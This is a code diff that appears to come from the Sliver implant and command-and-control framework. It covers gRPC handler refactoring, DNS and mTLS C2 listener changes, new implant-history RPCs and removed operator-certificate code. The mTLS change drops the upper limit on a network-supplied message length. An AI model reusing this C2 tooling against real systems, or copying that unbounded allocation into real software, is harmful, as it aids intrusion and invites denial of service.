-5157,7 +5456,7 @@ func _SliverRPC_StopRportFwdListener_Handler(srv interface{}, ctx context.Contex } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/StopRportFwdListener", + FullMethod: SliverRPC_StopRportFwdListener_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).StopRportFwdListener(ctx, req.(*sliverpb.RportFwdStopListenerReq)) @@ -5175,7 +5474,7 @@ func _SliverRPC_OpenSession_Handler(srv interface{}, ctx context.Context, dec fu } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/OpenSession", + FullMethod: SliverRPC_OpenSession_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).OpenSession(ctx, req.(*sliverpb.OpenSession)) @@ -5193,7 +5492,7 @@ func _SliverRPC_CloseSession_Handler(srv interface{}, ctx context.Context, dec f } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CloseSession", + FullMethod: SliverRPC_CloseSession_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CloseSession(ctx, req.(*sliverpb.CloseSession)) @@ -5211,7 +5510,7 @@ func _SliverRPC_RegisterExtension_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/RegisterExtension", + FullMethod: SliverRPC_RegisterExtension_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).RegisterExtension(ctx, req.(*sliverpb.RegisterExtensionReq)) @@ -5229,7 +5528,7 @@ func _SliverRPC_CallExtension_Handler(srv interface{}, ctx context.Context, dec } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CallExtension", + FullMethod: SliverRPC_CallExtension_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CallExtension(ctx, req.(*sliverpb.CallExtensionReq)) @@ -5247,7 +5546,7 @@ func _SliverRPC_ListExtensions_Handler(srv interface{}, ctx context.Context, dec } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/ListExtensions", + FullMethod: SliverRPC_ListExtensions_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).ListExtensions(ctx, req.(*sliverpb.ListExtensionsReq)) @@ -5265,7 +5564,7 @@ func _SliverRPC_RegisterWasmExtension_Handler(srv interface{}, ctx context.Conte } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/RegisterWasmExtension", + FullMethod: SliverRPC_RegisterWasmExtension_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).RegisterWasmExtension(ctx, req.(*sliverpb.RegisterWasmExtensionReq)) @@ -5283,7 +5582,7 @@ func _SliverRPC_ListWasmExtensions_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/ListWasmExtensions", + FullMethod: SliverRPC_ListWasmExtensions_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).ListWasmExtensions(ctx, req.(*sliverpb.ListWasmExtensionsReq)) @@ -5301,7 +5600,7 @@ func _SliverRPC_ExecWasmExtension_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/ExecWasmExtension", + FullMethod: SliverRPC_ExecWasmExtension_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).ExecWasmExtension(ctx, req.(*sliverpb.ExecWasmExtensionReq)) @@ -5319,7 +5618,7 @@ func _SliverRPC_WGStartPortForward_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/WGStartPortForward", + FullMethod: SliverRPC_WGStartPortForward_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).WGStartPortForward(ctx, req.(*sliverpb.WGPortForwardStartReq)) @@ -5337,7 +5636,7 @@ func _SliverRPC_WGStopPortForward_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/WGStopPortForward", + FullMethod: SliverRPC_WGStopPortForward_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).WGStopPortForward(ctx, req.(*sliverpb.WGPortForwardStopReq)) @@ -5355,7 +5654,7 @@ func _SliverRPC_WGStartSocks_Handler(srv interface{}, ctx context.Context, dec f } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/WGStartSocks", + FullMethod: SliverRPC_WGStartSocks_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).WGStartSocks(ctx, req.(*sliverpb.WGSocksStartReq)) @@ -5373,7 +5672,7 @@ func _SliverRPC_WGStopSocks_Handler(srv interface{}, ctx context.Context, dec fu } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/WGStopSocks", + FullMethod: SliverRPC_WGStopSocks_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).WGStopSocks(ctx, req.(*sliverpb.WGSocksStopReq)) @@ -5391,7 +5690,7 @@ func _SliverRPC_WGListForwarders_Handler(srv interface{}, ctx context.Context, d } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/WGListForwarders", + FullMethod: SliverRPC_WGListForwarders_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).WGListForwarders(ctx, req.(*sliverpb.WGTCPForwardersReq)) @@ -5409,7 +5708,7 @@ func _SliverRPC_WGListSocksServers_Handler(srv interface{}, ctx context.Context, } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/WGListSocksServers", + FullMethod: SliverRPC_WGListSocksServers_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).WGListSocksServers(ctx, req.(*sliverpb.WGSocksServersReq)) @@ -5427,7 +5726,7 @@ func _SliverRPC_Shell_Handler(srv interface{}, ctx context.Context, dec func(int } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Shell", + FullMethod: SliverRPC_Shell_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Shell(ctx, req.(*sliverpb.ShellReq)) @@ -5445,7 +5744,7 @@ func _SliverRPC_Portfwd_Handler(srv interface{}, ctx context.Context, dec func(i } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/Portfwd", + FullMethod: SliverRPC_Portfwd_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).Portfwd(ctx, req.(*sliverpb.PortfwdReq)) @@ -5463,7 +5762,7 @@ func _SliverRPC_CreateSocks_Handler(srv interface{}, ctx context.Context, dec fu } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CreateSocks", + FullMethod: SliverRPC_CreateSocks_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CreateSocks(ctx, req.(*sliverpb.Socks)) @@ -5481,7 +5780,7 @@ func _SliverRPC_CloseSocks_Handler(srv interface{}, ctx context.Context, dec fun } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CloseSocks", + FullMethod: SliverRPC_CloseSocks_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CloseSocks(ctx, req.(*sliverpb.Socks)) @@ -5525,7 +5824,7 @@ func _SliverRPC_CreateTunnel_Handler(srv interface{}, ctx context.Context, dec f } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CreateTunnel", + FullMethod: SliverRPC_CreateTunnel_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CreateTunnel(ctx, req.(*sliverpb.Tunnel)) @@ -5543,7 +5842,7 @@ func _SliverRPC_CloseTunnel_Handler(srv interface{}, ctx context.Context, dec fu } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.SliverRPC/CloseTunnel", + FullMethod: SliverRPC_CloseTunnel_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(SliverRPCServer).CloseTunnel(ctx, req.(*sliverpb.Tunnel)) @@ -5610,8 +5909,8 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{ Handler: _SliverRPC_GetVersion_Handler, }, { - MethodName: "GetOperators", - Handler: _SliverRPC_GetOperators_Handler, + MethodName: "GetUsers", + Handler: _SliverRPC_GetUsers_Handler, }, { MethodName: "Kill", @@ -5625,6 +5924,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{ MethodName: "Rename", Handler: _SliverRPC_Rename_Handler, }, + { + MethodName: "GetImplantHistory", + Handler: _SliverRPC_GetImplantHistory_Handler, + }, { MethodName: "GetSessions", Handler: _SliverRPC_GetSessions_Handler, @@ -5881,6 +6184,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{ MethodName: "GetCompiler", Handler: _SliverRPC_GetCompiler_Handler, }, + { + MethodName: "GetMetasploitCompiler", + Handler: _SliverRPC_GetMetasploitCompiler_Handler, + }, { MethodName: "ShellcodeEncoder", Handler: _SliverRPC_ShellcodeEncoder_Handler, @@ -6252,6 +6559,11 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{ Handler: _SliverRPC_ClientLog_Handler, ClientStreams: true, }, + { + StreamName: "ImplantHistory", + Handler: _SliverRPC_ImplantHistory_Handler, + ClientStreams: true, + }, { StreamName: "BuilderRegister", Handler: _SliverRPC_BuilderRegister_Handler, diff --git a/protobuf/sliverpb/sliver.pb.go b/protobuf/sliverpb/sliver.pb.go index bb9da3af55..c5eee9774a 100644 --- a/protobuf/sliverpb/sliver.pb.go +++ b/protobuf/sliverpb/sliver.pb.go @@ -1,7 +1,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.27.1 -// protoc v3.21.12 +// protoc-gen-go v1.31.0 +// protoc v3.15.8 // source: sliverpb/sliver.proto package sliverpb diff --git a/server/assets/assets-helpers.go b/server/assets/assets-helpers.go index 0993a0b7f5..f4ad70cbcc 100644 --- a/server/assets/assets-helpers.go +++ b/server/assets/assets-helpers.go @@ -142,7 +142,7 @@ func setupGo(appDir string) error { os.MkdirAll(goRootPath, 0700) // Go compiler and stdlib - goZipFSPath := path.Join("fs", runtime.GOOS, runtime.GOARCH, "go.zip") + goZipFSPath := filepath.Join("fs", runtime.GOOS, runtime.GOARCH, "go.zip") goZip, err := assetsFs.ReadFile(goZipFSPath) if err != nil { setupLog.Errorf("static asset not found: %s", goZipFSPath) @@ -176,7 +176,7 @@ func setupGo(appDir string) error { if runtime.GOOS == "windows" { garbleFileName = "garble.exe" } - garbleAssetPath := path.Join("fs", runtime.GOOS, runtime.GOARCH, garbleFileName) + garbleAssetPath := filepath.Join("fs", runtime.GOOS, runtime.GOARCH, garbleFileName) garbleFile, err := assetsFs.ReadFile(garbleAssetPath) if err != nil { setupLog.Errorf("Static asset not found: %s", garbleFile) @@ -194,7 +194,7 @@ func setupGo(appDir string) error { func setupSGN(appDir string) error { goBinPath := filepath.Join(appDir, "go", "bin") - sgnZipFSPath := path.Join("fs", runtime.GOOS, runtime.GOARCH, "sgn.zip") + sgnZipFSPath := filepath.Join("fs", runtime.GOOS, runtime.GOARCH, "sgn.zip") sgnZip, err := assetsFs.ReadFile(sgnZipFSPath) if err != nil { setupLog.Errorf("static asset not found: %s", sgnZipFSPath) diff --git a/server/assets/assets.go b/server/assets/assets.go index 68880078b8..cd6a2e61a5 100644 --- a/server/assets/assets.go +++ b/server/assets/assets.go @@ -43,9 +43,7 @@ const ( envVarName = "SLIVER_ROOT_DIR" ) -var ( - setupLog = log.NamedLogger("assets", "setup") -) +var setupLog = log.NamedLogger("assets", "setup") // GetRootAppDir - Get the Sliver app dir, default is: ~/.sliver/ func GetRootAppDir() string { @@ -59,7 +57,7 @@ func GetRootAppDir() string { } if _, err := os.Stat(dir); os.IsNotExist(err) { - err = os.MkdirAll(dir, 0700) + err = os.MkdirAll(dir, 0o700) if err != nil { setupLog.Fatalf("Cannot write to sliver root dir %s", err) } @@ -71,7 +69,7 @@ func GetRootAppDir() string { func GetChunkDataDir() string { chunkDir := filepath.Join(GetRootAppDir(), "crack", "chunks") if _, err := os.Stat(chunkDir); os.IsNotExist(err) { - err = os.MkdirAll(chunkDir, 0700) + err = os.MkdirAll(chunkDir, 0o700) if err != nil { setupLog.Errorf("Failed to create chunk data directory: %s", err) return "" @@ -84,7 +82,7 @@ func GetChunkDataDir() string { func GetTrafficEncoderDir() string { trafficDir := filepath.Join(GetRootAppDir(), "traffic-encoders") if _, err := os.Stat(trafficDir); os.IsNotExist(err) { - os.MkdirAll(trafficDir, 0700) + os.MkdirAll(trafficDir, 0o700) } return trafficDir } diff --git a/server/builder/builder.go b/server/builder/builder.go index 9a3d3492e4..21888db68c 100644 --- a/server/builder/builder.go +++ b/server/builder/builder.go @@ -23,10 +23,10 @@ import ( "fmt" "io" "os" - "os/signal" "path/filepath" "strings" + "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" @@ -37,9 +37,7 @@ import ( "github.com/bishopfox/sliver/util" ) -var ( - builderLog = log.NamedLogger("builder", "sliver") -) +var builderLog = log.NamedLogger("builder", "sliver") type Config struct { GOOSs []string @@ -48,26 +46,24 @@ type Config struct { } // StartBuilder - main entry point for the builder -func StartBuilder(externalBuilder *clientpb.Builder, rpc rpcpb.SliverRPCClient) { - - sigint := make(chan os.Signal, 1) - signal.Notify(sigint, os.Interrupt) - +func StartBuilder(externalBuilder *clientpb.Builder, rpc rpcpb.SliverRPCClient, con *console.SliverClient) error { builderLog.Infof("Attempting to register builder: %s", externalBuilder.Name) + con.PrintInfof("Attempting to register builder: %s", externalBuilder.Name) + events, err := buildEvents(externalBuilder, rpc) if err != nil { - os.Exit(1) + builderLog.Errorf("Build events handler error: %s", err.Error()) + return nil } // Wait for signal or builds - for { - select { - case <-sigint: - return - case event := <-events: + go func() { + for event := range events { go handleBuildEvent(externalBuilder, event, rpc) } - } + }() + + return con.WaitSignal() } func buildEvents(externalBuilder *clientpb.Builder, rpc rpcpb.SliverRPCClient) (<-chan *clientpb.Event, error) { diff --git a/server/c2/dns.go b/server/c2/dns.go index 1e420d6a60..5bec6c64eb 100644 --- a/server/c2/dns.go +++ b/server/c2/dns.go @@ -74,8 +74,6 @@ var ( implantBase64 = encoders.Base64{} // Implant's version of base64 with custom alphabet ErrInvalidMsg = errors.New("invalid dns message") ErrNoOutgoingMessages = errors.New("no outgoing messages") - ErrMsgTooLong = errors.New("too much data to encode") - ErrMsgTooShort = errors.New("too little data to encode") ) // StartDNSListener - Start a DNS listener @@ -104,7 +102,6 @@ type DNSSession struct { ImplantConn *core.ImplantConnection CipherCtx *cryptography.CipherContext - dnsIdMsgIdMap map[uint32]uint32 outgoingMsgIDs []uint32 outgoingBuffers map[uint32][]byte outgoingMutex *sync.RWMutex @@ -125,15 +122,13 @@ func (s *DNSSession) nextMsgID() uint32 { // StageOutgoingEnvelope - Stage an outgoing envelope func (s *DNSSession) StageOutgoingEnvelope(envelope *sliverpb.Envelope) error { - dnsLog.Debugf("Staging outgoing envelope %v", envelope) + // dnsLog.Debugf("Staging outgoing envelope %v", envelope) plaintext, err := proto.Marshal(envelope) if err != nil { - dnsLog.Errorf("[dns] failed to marshal outgoing message %s", err) return err } ciphertext, err := s.CipherCtx.Encrypt(plaintext) if err != nil { - dnsLog.Errorf("[dns] failed to encrypt outgoing message %s", err) return err } @@ -148,7 +143,7 @@ func (s *DNSSession) StageOutgoingEnvelope(envelope *sliverpb.Envelope) error { // PopOutgoingMsgID - Pop the next outgoing message ID, FIFO // returns msgID, len, err -func (s *DNSSession) PopOutgoingMsgID(msg *dnspb.DNSMessage) (uint32, uint32, error) { +func (s *DNSSession) PopOutgoingMsgID() (uint32, uint32, error) { s.outgoingMutex.Lock() defer s.outgoingMutex.Unlock() if len(s.outgoingMsgIDs) == 0 { @@ -160,8 +155,6 @@ func (s *DNSSession) PopOutgoingMsgID(msg *dnspb.DNSMessage) (uint32, uint32, er if !ok { return 0, 0, errors.New("no buffer for msg id") } - //Necessary for any race conditions for resolvers that send out multiple identical requests - s.dnsIdMsgIdMap[msg.ID] = msgID return msgID, uint32(len(ciphertext)), nil } @@ -471,7 +464,6 @@ func (s *SliverDNSServer) handleHello(domain string, msg *dnspb.DNSMessage, req dnsLog.Debugf("[dns] Assigned new dns session id = %d", dnsSessionID&sessionIDBitMask) s.sessions.Store(dnsSessionID&sessionIDBitMask, &DNSSession{ ID: dnsSessionID & sessionIDBitMask, - dnsIdMsgIdMap: map[uint32]uint32{}, outgoingMsgIDs: []uint32{}, outgoingBuffers: map[uint32][]byte{}, outgoingMutex: &sync.RWMutex{}, @@ -553,23 +545,6 @@ func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMess resp.Authoritative = true for _, q := range req.Question { switch q.Qtype { - - case dns.TypeAAAA: - - chunks := splitToChunks(respData, 16) - msg_len := len(respData) - dnsLog.Infof("[dns] msg length: %d)", msg_len) - for i, chunk := range chunks { - ttl := uint32(msg_len) - chunkIdx := uint32(i) << 8 - ttl = ttl ^ chunkIdx - a_record := &dns.AAAA{ - Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeAAAA, Class: dns.ClassINET, Ttl: ttl}, - AAAA: chunk, - } - resp.Answer = append(resp.Answer, a_record) - } - case dns.TypeTXT: rawTxt, _ := implantBase64.Encode(respData) respTxt := string(rawTxt) @@ -596,60 +571,26 @@ func (s *SliverDNSServer) handlePoll(domain string, msg *dnspb.DNSMessage, check loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask) dnsSession := loadSession.(*DNSSession) - msgID, msgLen, err := dnsSession.PopOutgoingMsgID(msg) - if err != nil { - if err != ErrNoOutgoingMessages { - dnsLog.Errorf("[poll] error popping outgoing msg id: %s", err) - return s.refusedErrorResp(req) - } else { - msgLen = 0 - msgID = 0 - dnsLog.Debugf("[poll] error: %s", err) - oldID, ok := dnsSession.dnsIdMsgIdMap[msg.ID] - if !ok { - dnsLog.Debugf("[poll] no msg id for given request") - } else { - ciphertext, ok := dnsSession.outgoingBuffers[oldID] - if !ok { - dnsLog.Debugf("[poll] no msg for given id") - } else { - msgLen = uint32(len(ciphertext)) - msgID = oldID - } - } - - } + msgID, msgLen, err := dnsSession.PopOutgoingMsgID() + if err != nil && err != ErrNoOutgoingMessages { + dnsLog.Errorf("[poll] error popping outgoing msg id: %s", err) + return s.refusedErrorResp(req) } - respData := []byte{} - dnsLog.Debugf("[poll] manifest %d (%d bytes)", msgID, msgLen) - respData, _ = proto.Marshal(&dnspb.DNSMessage{ - Type: dnspb.DNSMessageType_MANIFEST, - ID: msgID, - Size: msgLen, - }) + if err == nil { + dnsLog.Debugf("[poll] manifest %d (%d bytes)", msgID, msgLen) + respData, _ = proto.Marshal(&dnspb.DNSMessage{ + Type: dnspb.DNSMessageType_MANIFEST, + ID: msgID, + Size: msgLen, + }) + } resp := new(dns.Msg) resp.SetReply(req) resp.Authoritative = true for _, q := range req.Question { switch q.Qtype { - case dns.TypeAAAA: - - chunks := splitToChunks(respData, 16) - msg_len := len(respData) - dnsLog.Infof("[dns] msg length: %d)", msg_len) - for i, chunk := range chunks { - ttl := uint32(msg_len) - chunkIdx := uint32(i) << 8 - ttl = ttl ^ chunkIdx - a_record := &dns.AAAA{ - Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeAAAA, Class: dns.ClassINET, Ttl: ttl}, - AAAA: chunk, - } - resp.Answer = append(resp.Answer, a_record) - } - case dns.TypeTXT: rawTxt, _ := implantBase64.Encode(respData) respTxt := string(rawTxt) @@ -668,7 +609,6 @@ func (s *SliverDNSServer) handlePoll(domain string, msg *dnspb.DNSMessage, check resp.Answer = append(resp.Answer, txt) } } - return resp } @@ -724,22 +664,6 @@ func (s *SliverDNSServer) handleDataToImplant(domain string, msg *dnspb.DNSMessa resp.Authoritative = true for _, q := range req.Question { switch q.Qtype { - case dns.TypeAAAA: - - chunks := splitToChunks(respData, 16) - msg_len := len(respData) - dnsLog.Infof("[dns] msg length: %d)", msg_len) - for i, chunk := range chunks { - ttl := uint32(msg_len) - chunkIdx := uint32(i) << 8 - ttl = ttl ^ chunkIdx - a_record := &dns.AAAA{ - Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeAAAA, Class: dns.ClassINET, Ttl: ttl}, - AAAA: chunk, - } - resp.Answer = append(resp.Answer, a_record) - } - case dns.TypeTXT: rawTxt, _ := implantBase64.Encode(respData) respTxt := string(rawTxt) @@ -877,24 +801,3 @@ func dnsSessionID() uint32 { dnsSessionID := binary.LittleEndian.Uint32(randBuf) return dnsSessionID } - -func splitToChunks(data []byte, chunkSize int) [][]byte { - var chunks [][]byte - - for i := 0; i < len(data); i += chunkSize { - end := i + chunkSize - - // If end is greater than the length of the data, - // adjust it to be the length of data to avoid slicing beyond. - if end > len(data) { - end = len(data) - } - - chunk := make([]byte, chunkSize) - copy(chunk, data[i:end]) - - chunks = append(chunks, chunk) - } - - return chunks -} diff --git a/server/c2/mtls.go b/server/c2/mtls.go index 4a31d2c087..cf91f8931f 100644 --- a/server/c2/mtls.go +++ b/server/c2/mtls.go @@ -40,9 +40,6 @@ import ( const ( // defaultServerCert - Default certificate name if bind is "" (all interfaces) defaultServerCert = "" - - // ServerMaxMessageSize - Server-side max GRPC message size - ServerMaxMessageSize = (2 * 1024 * 1024 * 1024) - 1 ) var ( @@ -163,27 +160,27 @@ func socketReadEnvelope(connection net.Conn) (*sliverpb.Envelope, error) { // Read the first four bytes to determine data length dataLengthBuf := make([]byte, 4) // Size of uint32 n, err := io.ReadFull(connection, dataLengthBuf) + if err != nil || n != 4 { mtlsLog.Errorf("Socket error (read msg-length): %v", err) return nil, err } - dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf)) - if dataLength <= 0 || ServerMaxMessageSize < dataLength { + if dataLength <= 0 { // {{if .Config.Debug}} mtlsLog.Printf("[pivot] read error: %s\n", err) // {{end}} - return nil, errors.New("[pivot] invalid data length") + return nil, errors.New("[pivot] zero data length") } dataBuf := make([]byte, dataLength) n, err = io.ReadFull(connection, dataBuf) + if err != nil || n != dataLength { mtlsLog.Errorf("Socket error (read data): %v", err) return nil, err } - // Unmarshal the protobuf envelope envelope := &sliverpb.Envelope{} err = proto.Unmarshal(dataBuf, envelope) diff --git a/server/certs/ca.go b/server/certs/ca.go index 7ebf12f321..20205bca58 100644 --- a/server/certs/ca.go +++ b/server/certs/ca.go @@ -38,7 +38,6 @@ import ( func SetupCAs() { GenerateCertificateAuthority(MtlsImplantCA, "") GenerateCertificateAuthority(MtlsServerCA, "") - GenerateCertificateAuthority(OperatorCA, "operators") GenerateCertificateAuthority(HTTPSCA, "") } @@ -46,7 +45,7 @@ func getCertDir() string { rootDir := assets.GetRootAppDir() certDir := filepath.Join(rootDir, "certs") if _, err := os.Stat(certDir); os.IsNotExist(err) { - err := os.MkdirAll(certDir, 0700) + err := os.MkdirAll(certDir, 0o700) if err != nil { certsLog.Fatalf("Failed to create cert dir %s", err) } @@ -126,10 +125,9 @@ func GetCertificateAuthorityPEM(caType string) ([]byte, []byte, error) { // doesn't return an error because errors are fatal. If we can't generate CAs, // then we can't secure communication and we should die a horrible death. func SaveCertificateAuthority(caType string, cert []byte, key []byte) { - storageDir := getCertDir() if _, err := os.Stat(storageDir); os.IsNotExist(err) { - os.MkdirAll(storageDir, 0700) + os.MkdirAll(storageDir, 0o700) } // CAs get written to the filesystem since we control the names and makes them @@ -137,12 +135,12 @@ func SaveCertificateAuthority(caType string, cert []byte, key []byte) { certFilePath := filepath.Join(storageDir, fmt.Sprintf("%s-ca-cert.pem", caType)) keyFilePath := filepath.Join(storageDir, fmt.Sprintf("%s-ca-key.pem", caType)) - err := ioutil.WriteFile(certFilePath, cert, 0600) + err := ioutil.WriteFile(certFilePath, cert, 0o600) if err != nil { certsLog.Fatalf("Failed write certificate data to: %s", certFilePath) } - err = ioutil.WriteFile(keyFilePath, key, 0600) + err = ioutil.WriteFile(keyFilePath, key, 0o600) if err != nil { certsLog.Fatalf("Failed write certificate data to: %s", keyFilePath) } diff --git a/server/certs/certs_test.go b/server/certs/certs_test.go deleted file mode 100644 index d2c8034dd1..0000000000 --- a/server/certs/certs_test.go +++ /dev/null @@ -1,44 +0,0 @@ -package certs - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "bytes" - "testing" -) - -func TestOperatorGenerateCertificate(t *testing.T) { - GenerateCertificateAuthority(OperatorCA, "") - cert1, key1, err := OperatorClientGenerateCertificate("test3") - if err != nil { - t.Errorf("Failed to store ecc certificate %v", err) - return - } - - cert2, key2, err := OperatorClientGetCertificate("test3") - if err != nil { - t.Errorf("Failed to get ecc certificate %v", err) - return - } - - if !bytes.Equal(cert1, cert2) || !bytes.Equal(key1, key2) { - t.Errorf("Stored ecc cert/key does match generated cert/key: %v != %v", cert1, cert2) - return - } -} diff --git a/server/certs/operators.go b/server/certs/operators.go index aa91d1b501..591c4319a6 100644 --- a/server/certs/operators.go +++ b/server/certs/operators.go @@ -17,78 +17,3 @@ package certs You should have received a copy of the GNU General Public License along with this program. If not, see . */ - -import ( - "crypto/x509" - "encoding/pem" - "fmt" - - "github.com/bishopfox/sliver/server/db" - "github.com/bishopfox/sliver/server/db/models" -) - -const ( - // OperatorCA - Directory containing operator certificates - OperatorCA = "operator" - - clientNamespace = "client" // Operator clients - serverNamespace = "server" // Operator servers -) - -// OperatorClientGenerateCertificate - Generate a certificate signed with a given CA -func OperatorClientGenerateCertificate(operator string) ([]byte, []byte, error) { - cert, key := GenerateECCCertificate(OperatorCA, operator, false, true) - err := saveCertificate(OperatorCA, ECCKey, fmt.Sprintf("%s.%s", clientNamespace, operator), cert, key) - return cert, key, err -} - -// OperatorClientGetCertificate - Helper function to fetch a client cert -func OperatorClientGetCertificate(operator string) ([]byte, []byte, error) { - return GetECCCertificate(OperatorCA, fmt.Sprintf("%s.%s", clientNamespace, operator)) -} - -// OperatorClientRemoveCertificate - Helper function to remove a client cert -func OperatorClientRemoveCertificate(operator string) error { - return RemoveCertificate(OperatorCA, ECCKey, fmt.Sprintf("%s.%s", clientNamespace, operator)) -} - -// OperatorServerGetCertificate - Helper function to fetch a server cert -func OperatorServerGetCertificate(hostname string) ([]byte, []byte, error) { - return GetECCCertificate(OperatorCA, fmt.Sprintf("%s.%s", serverNamespace, hostname)) -} - -// OperatorServerGenerateCertificate - Generate a certificate signed with a given CA -func OperatorServerGenerateCertificate(hostname string) ([]byte, []byte, error) { - cert, key := GenerateECCCertificate(OperatorCA, hostname, false, false) - err := saveCertificate(OperatorCA, ECCKey, fmt.Sprintf("%s.%s", serverNamespace, hostname), cert, key) - return cert, key, err -} - -// OperatorClientListCertificates - Get all client certificates -func OperatorClientListCertificates() []*x509.Certificate { - operatorCerts := []*models.Certificate{} - dbSession := db.Session() - result := dbSession.Where(&models.Certificate{CAType: OperatorCA}).Find(&operatorCerts) - if result.Error != nil { - certsLog.Error(result.Error) - return []*x509.Certificate{} - } - - certsLog.Infof("Found %d operator certs ...", len(operatorCerts)) - - certs := []*x509.Certificate{} - for _, operator := range operatorCerts { - block, _ := pem.Decode([]byte(operator.CertificatePEM)) - if block == nil { - certsLog.Warn("failed to parse certificate PEM") - continue - } - cert, err := x509.ParseCertificate(block.Bytes) - if err != nil { - certsLog.Warnf("failed to parse x.509 certificate %v", err) - continue - } - certs = append(certs, cert) - } - return certs -} diff --git a/server/cli/certs.go b/server/cli/certs.go deleted file mode 100644 index c334d23934..0000000000 --- a/server/cli/certs.go +++ /dev/null @@ -1,155 +0,0 @@ -package cli - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "encoding/json" - "fmt" - "os" - "path/filepath" - "strings" - - "github.com/bishopfox/sliver/server/certs" - "github.com/spf13/cobra" -) - -var ( - // CATypes - CA types - CATypes = map[string]string{ - "operator": certs.OperatorCA, - "mtls": 